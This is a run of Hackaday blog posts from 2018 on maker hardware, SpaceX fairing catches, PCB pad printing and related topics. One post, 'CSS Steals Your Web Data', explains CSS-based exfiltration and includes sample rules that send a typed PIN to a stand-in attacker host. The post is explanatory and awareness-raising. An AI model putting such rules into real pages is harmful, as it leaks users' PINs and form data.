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Review of the Moai SLA 3D Printer

อังคาร, 02/27/2018 - 02:30

It is funny how we always seem to pay the same for a new computer. The price stays the same, but the power of the computer is better each time. It would appear 3D printers may be the same story. After all, it wasn’t long ago that sinking a thousand bucks or more on a 3D printer wouldn’t raise any eyebrows. Yet today you can better printers for a fraction of that and $1,300 will buy you an open source Moai SLA printer as a kit. [3D Printing Nerd] took a field trip to MatterHackers to check the machine out and you can see the results in the video below.

The printer uses a 150 mW laser to make parts up to 130 mm by 130 mm by 180 mm. The laser spot size is 70 micron (compare that to the typical 400 micron tip on a conventional printer). The prints require an alcohol bath after they are done followed by a UV curing step that takes a few hours.

The process for slicing is slightly different, as the video explains how that works. More software will likely incorporate SLA settings as these printers become more common. You also want hollow prints since the resin inside won’t cure. There’s also the need for holes to drain resin from the interior.

The prints look fantastic and the video does a good job of pointing out many of the differences in printing with this technology, including the effect of bed tilting and how that is handled in the Moai’s software. We wished we had seen more of the actual build process, but we suppose with the working parts locked away to protect eyes from laser beams, there wasn’t much to see.

We’ve seen one of these machines printing a lens, by the way. We also saw it at the Midwest RepRap Festival last year.

Successful Experiments In Multicolor Circuit Boards

อังคาร, 02/27/2018 - 01:00

Printed circuit boards have never been cheaper or easier to make. We’re not that far removed from a time where, if you wanted a printed circuit board, your best and cheapest option would be to download some proprietary software from a board house, use their terrible tool, and send your board off to be manufactured. A few copies of a 5x5cm board would cost $200. Now, anyone can use free (as in beer, if not speech) software, whip up a board, and get a beautifully printed circuit board for five dollars. It has never been easier to make a printed circuit board, and with that comes a new medium of artistic expression. Now, we can make art on PCBs.

PCB as Art

For the last year or so, Hackaday has been doing a deep-dive into the state of artistic PCBs. By far our biggest triumph is the Tindie Blinky Badge, an artistic representation of a robot dog with blinking LED eyes. [Andrew Sowa] turned some idiot into PCB coinage, and that same idiot experimented with multicolor silkscreen at last year’s DEF CON.

Others have far surpassed anything we could ever come up with ourselves; [Trammel Hudson] created an amazing blinky board using the standard OSHPark colors, and [Blake Ramsdell] is crafting full panels of PCB art. The work of Boldport and [Saar Drimer] has been featured in Marie Claire. The world of art on printed circuit boards has never been more alive, there has never been more potential, and the artistic output of the community is, simply, amazing. We are witnessing the evolution of a new artistic medium.

Printed circuit boards are a limited medium. Unless you want to shell out big bucks for more colors of silkscreen, weird colors of soldermask, or even multiple colors of soldermask, you will be limited to the standard stackup found in every board house. One color, the fiberglass substrate, will be a pale yellow. The copper layer will be silver or gold, depending on the finish. The soldermask will be green, red, yellow, blue, black, white, and of course purple if you go through OSH Park. The silkscreen will be white (or black if you go with a white soldermask). What I’m getting at is that the palette of colors available for PCB art is limited… or at least it has been.

For a few months now, Hackaday has been experimenting with a new process for adding colors to printed circuit boards. This is a manufacturing process that translates well into mass production. This is a process that could, theoretically, add dozens of colors to any small PCB. It’s just an experiment right now, but we’re happy to report some limited success. It’s now easy — and cheap — to add small amounts of color to any printed circuit board.

Defining the Problem Space The full-color Aladdin Sane Tindie badge, manufactured by Makernet

Full-color PCBs are a solved problem. A few months ago, Hackaday started talking to Makernet, a company in Shenzhen founded by [Kevin Lau]. Their raison d’commerce, apparently, is multicolor PCBs. They’ve already made full-color PCBs for Maker Faire Shenzhen, Maker Faire Xi’an, Hangzhou Mini Maker Faire, and a one-off project featuring everyone’s favorite robot dog. The process, at least on our end, for producing these multicolor PCBs was surprisingly simple: all we needed to do was send off some Gerbers and an Illustrator file; Makernet took care of everything that went into producing these multicolor PCBs.

Unfortunately, that’s all we know about how these multicolor PCBs were made. We suspect this is a UV-inkjet process, and something that could be done on a few machines we’ve specced out. If you have about $25,000 USD, you too can get the equipment to duplicate this process.

There must be a better option, and this is where we get to consider what a multicolor PCB actually means. Does the entire PCB need to be printed in full-color, or are small accents of color good enough?

The Nvidia PCB ruler. Note the lime-green logo. Credit: Nvidia

Over the last few years, companies have noticed the falling prices of PCB production and small batch electronics. PCBs are now swag for conferences and meetups. Nvidia, noticing a significant portion of their market are software engineers who have never heard of Digikey’s PCB swag, decided to design a PCB ruler. This PCB ruler measures inches and millimeters, has common footprints for IC packages, and has a few conversion tables on the back. Artistically, the most interesting part of this ruler is the lime-green Nvidia ‘eye’ logo. In contrast to every other PCB ruler out there, the Nvidia logo is resplendent, a shining example of what PCB art can do.

We don’t need full-color, full-panel PCBs for successful PCB art. The Nvidia PCB ruler proves that. The problem we’re trying to solve, then, is small, spot colors applied to a PCB. The printing area can be small; small blinky badges usually aren’t larger than 50mm square, anyway. One or two colors should be sufficient. This should be a manufacturing process, and hopefully, a process that anyone can contract out to a shop with the right equipment. There is such a manufacturing process that is perfect for multi-color PCBs. It’s called pad printing, and odds are you’re surrounded by a dozen objects with pad printing on them right now.

An Introduction To Pad Printing A manual pad printer. Total cost – about $600.

So, what is pad printing? It’s the process of using a silicone pad to pick up a very carefully shaped area of ink and apply it to an item during the manufacturing process.

It works by first making a printing plate. This is, in pad printing lingo, called a ‘cliche’. They are usually made with a photolithographic process, although you can get laser-etched plates. That printing plate then has ink wiped across it, filling the cliche with ink in exactly the design you want. A silicone rubber pad is then pressed into the cliche, picking up the ink and then transferring it to the object. You now have a pen, mug, or PCB with your logo on it. It’s that simple.

You may not realize this, but you’re probably touching something with pad printing right now. Pad printing excels at printing on curved surfaces, so if your computer mouse has some printing on it, odds are it is pad printed. Pad printing is seen on nearly every consumer electronics device, and if you’ve ever picked up a branded pen or mug from a swag table at a conference, it has certainly been pad printed. This is the process that puts flames on Hot Wheels cars, the red stripes on bowling pins, and a million other consumer products.

The ink used for pad printing isn’t terribly different from the ink used in silk screening. It’s very resilient, and it comes in a rainbow of colors. If you need a printing process that scales to manufacturing and is able to apply small areas of color to anything, pad printing is the way to go. It is, in some ways, superior to silkscreening; the cliches can be made with a laser cutter instead of the photo process of traditional silkscreen equipment.

The Tindie Badge Homage to KISS

In the interests of pushing the boundaries of artistic PCBs, Hackaday has decided to experiment with the application of pad printing to PCBs. It’s not much, and the first experiment is only another Tindie Blinky Badge, but it does serve as a good example of what can be done with pad printing and PCBs. Specifically, this is a panel of Tindie badges featuring the members of the band KISS. White, black, and silver (for Ace’s face paint) are easy, but it’s really not KISS unless we can give Paul red lipstick and Gene a red tongue.

The process of creating this panel of Tindie PCBs was exactly as you would expect. Like other Tindie blinky badges, this was designed first in Illustrator by Hackaday’s resident artist [Joe Kim]. It was then imported into Eagle. Here’s our walkthrough on how this art was translated into fiberglass, copper, soldermask and silkscreen. The only significant difference between these KISS Tindies and our earlier badges is another layer of Gerbers. This layer is only where the red should be applied by a pad printing process.

After receiving the manufactured KISS Tindie panels from DirtyPCBs, we only had to take the ‘red’ layer of Gerbers, print them out on a transparency, create the pad printing cliche, and lay some ink on the PCBs.

A Successful Experiment

The experiment was successful, albeit with a few problems. It took some effort to figure out the correct temperature for the ink, how much thinner to use, and a how to deal with a slightly dirty silicone pad. But with that sorted, we can apply spot color to a stack of PCBs, vastly increasing the palette for PCB art.

The total cost for this experiment was about $1500 for all the equipment including a UV plate exposer, consumables, and the pad printer itself. This is a very cheap pad printing setup — the simplest automatic pad printing machines start at around $4000, with machines able to print larger areas and multiple colors going up to $20,000. Of course, pad printers are ubiquitous in manufacturing environments, and used equipment is always an option.

Additionally, because pad printing is a common manufacturing process, this is something that could be contracted out. Think of all those branded pens you pick up at conferences. They all came out of pad printers, and there is most likely a shop with a pad printer near you looking for business.

Is this the solution for multi-color PCBs? Well, it’s a solution. There is no silver bullet for the problem of creating artistic PCBs. If, however, you only need a few bits of color on your PCBs, pad printing is an effective and cheap method of extending the possibilities in the world of PCB art.

World Create Day is the Hackaday Event in Your Neighborhood

อังคาร, 02/27/2018 - 00:01

Hackaday World Create Day is on March 17th and it’s happening near you. Get together with hackers in your area and create something. Sign up now to host a World Create Day gathering! These are really easy to organize, but we can only do it with your help.

The Hackaday community from around the world will meetup and spend time building together on Saturday, March 17th. Pick one of those projects you’ve been meaning to dive into and get together with some old and new friends to hack on your projects together.

You should make this day your own. As with any hands-on hacking events it’s a good idea to block out a bit of time at the end for lightning talks to show off the builds everyone has been working on. Make the memories live on past a single day by taking pictures and posting the story of your World Create Day meetup. We enjoyed getting a great look at many of last year’s meetups this way and want to expand the builds we feature on the front page this year.

Meetup Organizers Wanted

Fill out this form to let us know you want to host a meetup.

Every year we have World Create Day meetups all over the world which are set up by local organizers. Many of those will happen again this year, but we also need you to organize an event in your area. We’ll help you get things set up and put your event up on the big map so others in your area will plan to join in. Do it now, if we get your shipping info early we’ll send you stickers and other swag to hand out at your gathering.

Build Something that Matters

The core of World Create Day is to stop making excuses and just build something. Great builds start with a plan. The Hackaday Prize will begin soon, and since you’re already getting together with other people, form a team and dream up your entry.

This is your take on building something that matters to the world. Come up with a plan that solves a problem facing humanity and publish your work on Hackaday.io. You may be surprised by the support you get for your idea, but you’ll never know until you put an idea out there. Join in Hackaday’s World Create Day on March 17th and let’s show the world the kind of hope that blossoms when we decide to build something that matters.

Arduino BabyTV is Big Fun at Low Resolution

จันทร์, 02/26/2018 - 23:00

What kind of TV do you have? An older 720p model, or the now standard 1080p? Perhaps you’ve made the leap to the next generation, and are rocking a 4K display in the living room. All those are are fine and dandy if you just want to watch the local sportball contest, but where’s the challenge in that? With all the technology and modular components we have access to anymore, nowadays all the real hackers are making their own TVs.

Of course, when [Nikolai] built his very own LED TV, he did have to make a few concessions. For one thing, there’s no tuner on this model. Oh, and there’s the small issue of only having a 16×16 resolution. It might not be your idea of the perfect display, but it’s just perfect for his newborn son.

That’s right, [Nikolai] got his entry for the “Hacker Parent of the Year” award in early, and built an LED display for his son that he’s calling “BabyTV”.

Rather than the shows, trash, advertisements that they play on the kid channels, this TV only shows animated characters from retro games. We’ll concede that this project might be an elaborate Clockwork Orange style attempt at hypnotizing his son to instill an appreciation for classic gaming. But we’ll allow it.

To make his BabyTV go, [Nikolai] used a 16×16 WS2812B LED panel and an Arduino Nano. Two rotary encoders are used to allow adjusting brightness and change the character currently being shown on the screen. As a particularly clever hack, the Arduino has an IR sensor attached and is constantly watching for any signals. If an IR signal is detected, the BabyTV switches to the next image. So if Junior has a standard IR remote in his hands, any button he presses will cause the display to change to the next “channel”.

Historically speaking we haven’t seen much stuff for children here at Hackaday, but 2018 seems to be changing that. Recent projects like the incredible scratch built mini excavator and gorgeous AT-ST high chair would seem to indicate we’re currently witnessing a generation of hackers become parents. Don’t panic folks, but we might be getting old.

SpaceX Joins in the Long History of Catching Stuff from Space

จันทร์, 02/26/2018 - 22:01

On February 22nd, a Falcon 9 rocket lifted off from Vandenberg Air Force Base in California and successfully delivered into orbit an Earth-observation satellite operated by the Spanish company Hisdesat. Compared to the media coverage received by the launch of the Tesla-laden Falcon Heavy earlier in the month, this mission got very little attention. But that’s hardly surprising. With respect to Hisdesat, the payload this time around was not terribly exciting, and even the normally dramatic landing of the Falcon 9’s first stage was skipped in favor of simply allowing the booster to crash into the ocean.

As far as SpaceX launches go, this one was about as low-key as they come. It wouldn’t be a surprise if this is the first time some readers are even hearing about it. But while it didn’t invoke the same media circus as the images of a spacesuit-wearing mannequin traveling into deep space, there was still a historic “first” performed during this mission.

In an effort to increase the re-usability of the Falcon 9 booster, SpaceX attempted to catch the payload fairing (essentially a large protective nose cone) with a huge net as it fell from space. The most interesting thing about this new chapter in the quest for a fully reusable rocket system is that while SpaceX is generally considered to be pioneers in the world of bringing hardware back from space, this particular trick dates all the way back to the 1960’s.

An Extravagant Necessity

At first blush using a net to catch huge, falling objects sounds preposterous — like something out of Wile E. Coyote‘s bag of tricks. But remember this is a company that has made a name for itself largely based on being able to land rockets on their tails Buck Rogers style. It’s fair to say that SpaceX is not a company overly burdened by the status quo.

As comical as the idea might seem, the logic is sound. Due to the downrange distance at which the fairing is released, it has to come down in the ocean. But even if the fairing could be gently lowered into the ocean with parachutes, it contains active components (thrusters, avionics, parachutes, etc) which would need to be protected from water. But more importantly, the very construction of the fairing makes water landings a dicey proposition. It’s made of an aluminum honeycomb sandwiched between layers of carbon fiber; reliably waterproofing such a structure, to say nothing of draining water out of it in the event the waterproofing failed, would be difficult to say the least.

Falcon 9 fairing floating in the ocean

This leads us to an inescapable conclusion: if the fairing can’t be allowed to touch the water, the only option left is to catch it while it’s still in the air.

On this attempt to catch the fairing, SpaceX failed. But only just. Elon Musk reports that the fairing touched down in the ocean only “a few hundred meters” from the ship-mounted net. Not bad for a first attempt, and Elon believes that slowing the fairing down a bit more by way of a larger parachute should give them enough time to get the ship into position.

As luck would have it, the seas were calm and the parachutes got the fairing moving slow enough that it actually survived touchdown and was able to be recovered once the ship reached its location. The fairing is unlikely to be reused due to the issues outlined above, but it’s still a promising first step and will surely result in useful data for SpaceX to go over.

Revisiting 1960’s Spy Tech Space Catches

On August 19th, 1960 the US Air Force proved that mid-air recovery of an object returning from space was possible when a canister of film ejected from a Key Hole spy satellite was snatched by a C-119 “Flying Boxcar” as it descended under a parachute.

The first mid-air recovery in history

Due to the sensitive nature of the images being taken by these satellites, it was deemed that the best way to ensure the film was not intercepted before the US could reach it was to simply not let it land. The canister’s parachute slowed it down enough that pilots would be able to get a few tries at making the capture before it hit the water, but in the event that the film canister failed to be recovered by the aircraft they were designed to sink after 48 hours.

Catching a falling object from an airplane is an exceptionally difficult maneuver, and crews practiced constantly by catching dummy payloads that were dropped from planes flying above them. Being able to drop the film canisters directly onto a waiting Navy ship would have been much preferred, but in the early days of the Space Age that sort of reentry accuracy simply wasn’t possible. Indeed, occasionally they managed to get so spectacularly far off course that they would miss the ocean entirely; at least one film canister ended up landing in Venezuela.

Genesis: A High Profile Failure

Before anyone beats up on SpaceX for stumbling on a task that the US Air Force was able to accomplish with 1960’s technology, let’s not forget the high profile failure of NASA’s Genesis sample return mission in 2004.

Genesis wreckage in the Utah desert

The goal of Genesis was to capture solar wind particles and bring them back to Earth for study. Much like the fairing of the Falcon 9, the sample return capsule of the Genesis spacecraft was considered too fragile to land under parachutes.

Instead, the capsule was to be plucked out of the air by a helicopter flown by Hollywood stunt pilots. In an improvement over the 1960’s technology used for the Key Hole program, the Genesis capsule would be using a parafoil which allowed for controlled forward flight during the descent; the same type of parachute SpaceX is using to guide the Falcon 9 fairing towards their net.

Unfortunately, an incorrectly installed accelerometer meant the capsule’s electronics never deployed the parachutes. The capsule hit the ground at nearly 200 MPH in the Utah desert, though in the end scientists were able to recover enough material from the wreckage that all scientific goals of the mission were accomplished.

SpaceX’s Next Attempts Credit: SpaceX

If recent history has taught us anything about SpaceX, it’s that you shouldn’t bet against them. While it won’t be the first time somebody has caught an object returning from space, when they finally manage to catch the fairing of the Falcon 9, SpaceX will surely be able to claim it’s the largest object to ever be recovered in such a manner. The inevitable social media blitz that will follow the first successful recovery should really be something.

Given SpaceX’s rapid launch rate and iterative approach to development, we likely won’t have to wait long to see the next attempt. Since the only net-equipped ship is on the West Coast, only launches from Vandenberg Air Force Base will be able to attempt a fairing recovery. A check of their advertised launch manifest for 2018 shows a number of upcoming launches from Vandenberg: the Iridium 5 launch currently scheduled for March 29th, followed by Iridium 6 sometime in April.

Nobody outside of SpaceX currently knows if fairing recovery will be attempted on these missions, but given the potential savings it seems unlikely they’ll be skipping any opportunities to try. The Falcon 9 fairing is estimated to cost $6M USD to produce, and due to its size and complex construction, has been identified as a bottleneck in an increasingly rapid launch cadence.

With nearly 30 more launches scheduled for 2018, and most of those requiring payload fairings, there’s plenty of incentive for SpaceX to make catching a school bus sized object as it falls from space seem as routine as landing a rocket on the deck of a barge.

Moltoduino: Arduinos All the Way Down

จันทร์, 02/26/2018 - 19:00

It is getting difficult to find a desktop or laptop computer with only a single CPU. Even a typical ARM-based computer now probably has multiple cores. Of course, there’s nothing to stop you from using multiple microcontrollers — like the Arduino — together. To make the process neater, [Dimitris Platis] put together Moltoduino, essentially an Arduino on a shield made to plug into another Arduino. And, yes, they will stack. You can see a video about the open source boards, below.

The key is how the board brings the pins out to connections that are easy to jumper between boards. There are several obvious use cases, but one that [Dimitris] is particularly interested in is hardware-in-the-loop testing. The idea is that you can use a simulated I/O device in one computer to exchange fake data with the software under test.

For example, you might be working on a sous vide cooker that reads a temperature and controls a heater. A second computer could stand in for the temperature sensor and heater. You could log outputs and also control the inputs. This is really nice when you want to set up repeatable test cases.

Of course, you don’t have to stack the boards to make that work. In fact, you don’t have to use another Arduino. A PC or some other controller could be the surrogate test device. But having it all in a stack is handy. There are several examples of doing testing using simulated hardware on the project’s GitHub page. The test subjects are a robot car and an ultrasonic device.

One neat feature is that each board has a switch to enable the master Arduino to ISP program it. So while you might not need to stack boards to use any of the proposed techniques, it does make for a nice and compact package.

Usually, when we see a cluster it uses Raspberry Pis. Or, sometimes, PCs.

Order Drinks With Your Mind

จันทร์, 02/26/2018 - 16:00

Barbots are a popular project around these parts. With a few pumps and a microcontroller or two, it’s possible to build something that can approximate mixing a drink. If you’ve got the patience and attention to detail, you can probably even get it to the point where it doesn’t just end up as a leaking wet mess on your mantlepiece. [Robert] has taken his build a step further by adding mind control.

To achieve this feat, a Mindflex EEG headset is pressed into service. This picks up brainwaves from the user, and processes them into two output values of concentration and meditation. Through some careful hacking, it’s possible to retrieve these values. [Robert] sends the values over Bluetooth to the barbot controller for processing. Concentration values over a certain threshold are used to cycle through the drink selection, while meditation values are used to confirm the order. Once it’s made, a voice command to “hit me” will see the drink served.

It’s a tidy build that adds a bit of fun to an already cool project. We’d love to see this taken up several levels of complexity to the point where you can directly order the drink you want, just by the power of thought. If your university-grade research project is at that level, be sure to let us know. Else, if you’re interested in how the barbot came to be, check out [Robert]’s earlier work.


Mechanical Clocks that Never Need Winding

จันทร์, 02/26/2018 - 13:00

What is it about mechanical clocks? Maybe it’s the gears, or the soft tick-tocking that they make? Or maybe it’s the pursuit of implausible mechanical perfection. Combine mechanical clocks with “free” energy harvested from daily temperature and pressure variation, and we’re hooked.

Both the Beverly Clock, built by Arthur Beverly in 1864, and the Atmos series of clocks built between 1929 and 1939, run exclusively on the expansion and contraction of a volume of air (Beverly) or ethyl chloride (Atmos) over the day to wind up the clock via a ratchet. The Beverly Clock was apparently a one-off, and it’s still running today. And with over 500,000 Atmos clocks produced, there must be some out there.

Although we had never heard of it, this basic idea is really old. Clicking through Wikipedia (like you do!) got us to Cox’s Timepiece, which is powered by the movement of 68 kg of mecury under atmospheric pressure. It is currently not running, but housed in the Victoria and Albert Museum in London. Even older is a clock that we couldn’t find any info on that dates from 1620, invented by Cornelius Drebbel. Anyone know anything?

We’ve had energy harvesting on our mind lately, and the article on the Beverly Clock says that it gets 31 μWh over a day when the temperature swings by 3.3 °C. Put into microcontroller perspective, this is 0.39 μA at 3.3 V, so you’ll have to be pretty careful about your sleep modes, and an LED is out of the question. How amazing is it, then, that this can power a mechanical clock?

Thanks [Luke], [hex4def6], and [Wallace Owen] for tipping us off to these in the comment section!

Real-Time Audio For The PocketBeagle

จันทร์, 02/26/2018 - 10:00

The BeagleBone has long been a favorite for real-time I/O, and now with the release of the PocketBone — the tiny key fob-sized BeagleBone — there are ever increasing uses for this tiny little programmable real-time Linux module. The Bela Mini, just released, is the latest add-on cape to take advantage of the processing power of the micro-sized PocketBone.

The Bela Mini is a shrinkification of the original Bela, a cape add-on for the BeagleBone. The original breaks out eight analog inputs and eight analog outputs, both sixteen-bits deep. With the addition of powered speaker outputs, the Bela turns the BeagleBone into the perfect tiny audio-Linux-thing, with a special emphasis on Pure Data and other audio wizardry.

The Bela Mini does away with the powered speaker outputs, and instead replaces those ports with stereo audio in and stereo audio out on a three-pin connector. Compared to the original Bela, the Mini loses the eight sixteen-bit analog outputs, but still keeps the analog inputs.

There have been many attempts to add real-time audio to microcontrollers and Linux boards, but few examples have lived up to the hype. Most of the time, this comes down to the choice of microcontroller or module; an ATmega-based Arduino doesn’t have real analog outputs and instead relies on PWMing a digital signal. A Raspberry Pi-based Pure Data box does not have a real-time I/O. This is where the choice of the PocketBone shows its strength. The PocketBone uses the same chip as the BeagleBone, and with that comes the Programmable Real-Time Units (PRUs). This enables the Bela to interface with signals with a dedicated controller in real-time. It’s exactly what you want for audio applications.

Hackaday Links: February 25, 2018

จันทร์, 02/26/2018 - 07:00

Hipster hardware! [Bunnie] found something interesting in Tokyo. It’s a LED matrix display, with a few PDIP chips glued onto the front. There are no through-holes or vias, and these PDIPs can’t be seen through on the back side of the board. Someone is gluing retro-looking chips onto boards so it looks cool. It’s the ‘gluing gears to everything therefore steampunk’ aesthetic. What does this mean for the future? Our tubes and boxes of 74-series chips will be ruined by a dumb kid with a hot glue gun when we’re dead.

Is it Kai-CAD or Key-CAD? Now you can share your troubles with the greatest problem in Electronic Design Automation with others.

Speaking of unimaginable problems in EDA suites and PCB design tools, here’s a Git-based visual version control thingy for Eagle. Cadlab.io is a version control system for Github and Eagle that offers visual diff of PCB layouts and schematics. Neat? Yes, especially if you have more than one person working on a board.

How about a 3D printed business card embosser? [Taekyeom] designed and printed a pair of 3D rollers, one of which is embossed with the ‘negative’ of a design, the other with the ‘positive’ of a design. When rolled against each other, these rollers mesh and putting a piece of paper through the pinky pinching machine embosses paper. Add a frame, a handle, and a few zip ties for belts, and you have a fully 3D printed paper embosser.

There’s a new ransomware that encrypts your files and won’t allow you to access them until you pay someone some crypto. Big news, huh? Well, yes, actually. The HC7 Planetary ransomware is apparently the first bit of ransomware that accepts Etherium. ETH is all grown up now.

Aw, snap, 3D printers with automatic tool changing. This is a project from E3D that shows off magnetic (?) extruders and hot ends for 3D printers. You can change your hot end (and nozzle, and filament) in mid-print. What does this mean? Well, swapping filament is the most obvious use case, but the Prusa system might have this nailed down. What is more interesting is swapping hotends, allowing you to print in multiple temperatures (and different materials), and maybe even different nozzle sizes. This is coming to MRRF, the greatest 3D printing con on the planet. MRRF is happening in March 23-25th in beautiful scenic Goshen, Indiana.

hardware demoscene? Yes, it’s true! #badgelife is a hardware demoscene wrapped up around wearable conference badges. We just had a meetup in San Francisco this week, and the talks were amazing. [Kerry Scharfglass] talked about scaling one Diamond Age badge to one hundred Diamond Age badges. [Whitney Merrill] talked about building badges for the Crypto and Privacy village at Defcon. If you’re into electronics, you are, by default, into manufacturing and this is the best education in manufacturing and logistics you will ever get. The true pros know how to reduce air freight costs by two hundred percent!

Debugging with Serial Print at 5333333 Baud

จันทร์, 02/26/2018 - 04:00

Debugging with printf is something [StorePeter] has always found super handy, and as a result he’s always been interested in tweaking the process for improvements. This kind of debugging usually has microcontrollers sending messages over a serial port, but in embedded development there isn’t always a hardware UART, or it might already be in use. His preferred method of avoiding those problems is to use a USB to Serial adapter and bit-bang the serial on the microcontroller side. It was during this process that it occurred to [StorePeter] that there was a lot of streamlining he could be doing, and thanks to serial terminal programs that support arbitrary baud rates, he’s reliably sending debug messages over serial at 5.3 Mbit/sec, or 5333333 Baud. His code is available for download from his site, and works perfectly in the Arduino IDE.

The whole thing consists of some simple, easily ported code to implement a bare minimum bit-banged serial communication. This is output only, no feedback, and timing consists of just sending bits as quickly as the CPU can handle, leaving it up to the USB Serial adapter and rest of the world to handle whatever that speed turns out to be. On a 16 MHz AVR, transmitting one bit can be done in three instructions, which comes out to about 5333333 baud or roughly 5.3 Mbit/sec. Set a terminal program to 5333333 baud, and you can get a “Hello world” in about 20 microseconds compared to 1 millisecond at 115200 baud.

He’s got additional tips on using serial print debugging as a process, and he’s done a followup where he stress-tests the reliability of a 5.3 MBit/sec serial stream from an ATMega2560 at 16 MHz in his 3D printer, and found no missed packets. That certainly covers using printf as a debugger, so how about a method of using the debugger as printf?

CSS Steals Your Web Data

จันทร์, 02/26/2018 - 01:00

Earlier this year, we posted a link to an interactive Web page. Most people seemed to like it, but we got at least one comment about how they would never be so incautious as to allow JavaScript to run on their computers. You can argue the relative merit of that statement, but it did remind us that just disabling JavaScript is no panacea when it comes to Internet security. You might wonder how you could steal data without scripting, assuming you don’t directly control the server or browser, of course. The answer is by using a cascading style sheet (CSS). [Live Overflow] explains the exploit in the video below, covering an older paper and a recent rediscovery of the technique.

The technique hinges on you getting a CSS into the web page. Maybe you’ve partially compromised the server or maybe you wrote a malicious browser extension. The method works because you can make a style conditional on an attribute of an element. That means you can ask CSS to do some special formatting on a text field with a certain value. If that formatting is to load some background image from a server you control then you can tell if the field has a particular value.

We didn’t say it was easy. Suppose you want to capture a four-digit PIN number. You will need about 10,000 lines of format. For example:

input[type="pin"][value$="0000"] { background-color: url(http://notahackaday.com/0000.png } input[type="pin"][value$="0001"] { background-color: url(http://notahackaday.com/0001.png } ... input[type="pin"][value$="9999"] { background-color: url(http://notahackaday.com/9999.png }

The idea is to track when a particular client loads one of the image files. Then you can assume you know which PIN number was present. This is painful and would be worse if you wanted to capture a Social Security number, a credit card number, or arbitrary text. In addition, the technique operates on attributes, but — unfortunately for us — many common frameworks make a text input’s value attribute the same as its contents for simplicity. That plays right into the attacker’s hands.

As [Live Overflow] explains, some have called this a keylogger, but that’s a bit of stretch. We think of a keylogger as something that can watch what we type anywhere. This simply probes for certain input values in a specific place. Still, it does illustrate that almost any technology can be subverted by malicious programmers.

This illustrates our own [Jack Laidlaw’s] quote: “The easiest way to secure a device is to turn it off.” Turns out these days even your dishwasher isn’t safe.

Screw Drive Tank is Radio Controlled, 3D Printed

อาทิตย์, 02/25/2018 - 22:00

Screw drives are something that we don’t see a lot of – they’ve got an interesting set of attributes making them useful on soft ground, but woe betide you if your local transport department catches you trying to belt one of these up the freeway. After a long development period, [Ivan] has finally perfected his screw drive tank.

This is something that’s been in the works for a long time. It’s a primarily 3D-printed build, showing just how easy it is to build complex machines from scratch in this day and age of rapid prototyping. Over time, [Ivan] has experimented with different screw shapes and taken feedback from his audience on how to improve the craft. With some changes to the gearing and drive layout, the tank returned to the beach, with great success. Powered by twin brushless motors and controlled by off-the-shelf RC gear, the tank has no trouble scooting about the sand.

The project shows the value in iterative design, with [Ivan] taking time to lay out all the parts which have changed since the last revision. It’s a project that is now a five-part series, and we can’t wait to see where it goes next. There’s every chance an amphibious version could be in the works. For something on the larger scale, check out this screw drive tractor set to conquer Canada.

Power Supply Choices

อาทิตย์, 02/25/2018 - 19:00

Unless you are building a crystal radio or you’ve finally invented that infinite energy machine, any project you do is going to need some sort of power supply. There was a time when a battery was enough, but these days you probably need some sort of regulation. But there are many kinds to choose. Linear, switching, SEPIC, LDO… how do you pick? [Andreas Spiess] has some practical advice in his recent video, which you can see below.

[Andreas] calls the video “Voltage Regulator Cheat Sheet” and that’s an apt name. He covers the major architectures and even points out why you can’t always trust the vendor’s information on certain types of supplies.

Even though it is billed as a cheat sheet, the video also covers a good bit of theory on how the different regulators work and their efficiency and thermal characteristics. He punctuates his theory with practical demonstrations, as always. He even releases a little magic smoke in the name of explaining things.

If you want to look inside a linear regulator, we saw a good teardown of the venerable 7805. We don’t suggest it, but the next step up from the resistor [Andreas] shows is a zener diode, a topic we covered last year.

Casting Metal Parts and Silicone Molds from 3D Prints

อาทิตย์, 02/25/2018 - 16:00

The invention of the relatively affordable 3D printer for home use has helped bring methods used to produce parts for prototypes, samples, and even manufacturing, closer to designers. This tutorial on how to cast metal parts from 3D printed silicone molds is a perfect example of how useful a 3D printer can be when you are looking to make a custom and durable metal part at home.

After 3D printing a mold design using an Ultimaker 2 [M. Borgatti] casts the mold using Smooth-On Mold Star 15 that can withstand heat up to 450 °F (232 °C), which he points out is ideal for the low-temp metal casting alloy tin-bismuth comprised of 58% Bismuth and 42% Tin with a melting point of 281 °F.

You may have heard of molds created from 3D printed parts before, but what makes this tutorial great is that the author, [M. Borgatti], really sets you up to be successful. He offers up plenty of insights including mold-making techniques and terminology like why you would need a well and runners designed as part of your mold when casting with metal.

You can either reproduce his designs or use the tutorial to create your own which makes it a good start for beginners as well as another method to file away for people who already have experience 3D printing molds. This post is also really a twofer. Not only do you get detailed instructions for the method but [M. Borgatti] uses his casted metal part for a flat-pack camera arm he designed to document projects with which you can also build using his files found on Thingiverse.

To create molds for precision parts and to learn more about using a 3D printer as a tool in the casting process, check out this method for creating higher resolution molds with a resin printer.

Maplin For Sale

อาทิตย์, 02/25/2018 - 13:00

If you are an American Electronics Enthusiast of a Certain Age, you will have misty-eyed reminiscences of the days when every shopping mall had a Radio Shack store. If you are a Brit, the name that will bring similar reminiscences to those Radio Shack ones from your American friends is Maplin. They may be less important to our community than they once would have been so this is a story from the financial pages; it has been announced that the Maplin chain is for sale.

Maplin started life as a small mail-order company supplying electronic parts, grew to become a large mail order company selling electronic parts, and them proceeded to a nationwide chain of stores occupying a similar niche to the one Radio Shack fitted into prior to their demise. They still sell electronic components, multimeters, and tools, but the bulk of their floor space is devoted to the more techy and hobbyist end of mass-market consumer electronics. As the competition from online retailers has intensified  it is reported that the sale may be an attempt to avoid the company going into administration.

It’s fair to say that in our community they have something of a reputation of late for being not the cheapest source of parts, somewhere you go because you need something in a hurry rather than for a bargain. A friend of Hackaday remarked flippantly that the asking price for the company would be eleventy zillion pounds, which may provide some clues as to why custom hasn’t been so brisk. But for a period in the late 1970s through to the 1980s they were the only place for many of us to find  parts, and their iconic catalogues with spaceships on their covers could be bought from the nationwide WH Smith newsagent chain alongside home computers such as the ZX Spectrum. It’s sad to say this, but if they did find themselves on the rocks we’d be sorry to see the name disappear, but we probably wouldn’t miss them in 2018.

One of the things Maplin were known for back in the day were their range of kits. We’ve shown you at least one in the past, this I/O port for a Sinclair ZX81.

Footnote: Does anyone still have any of the early Maplin catalogues with the spaceships on the cover? Ours perished decades ago, but we’d love to borrow one for a Retrotechtacular piece.

Maplin store images: Betty Longbottom [CC BY-SA 2.0], and Futurilla [CC BY-SA 2.0].

This 3D-Printed Robotic Vacuum Sucks

อาทิตย์, 02/25/2018 - 10:00

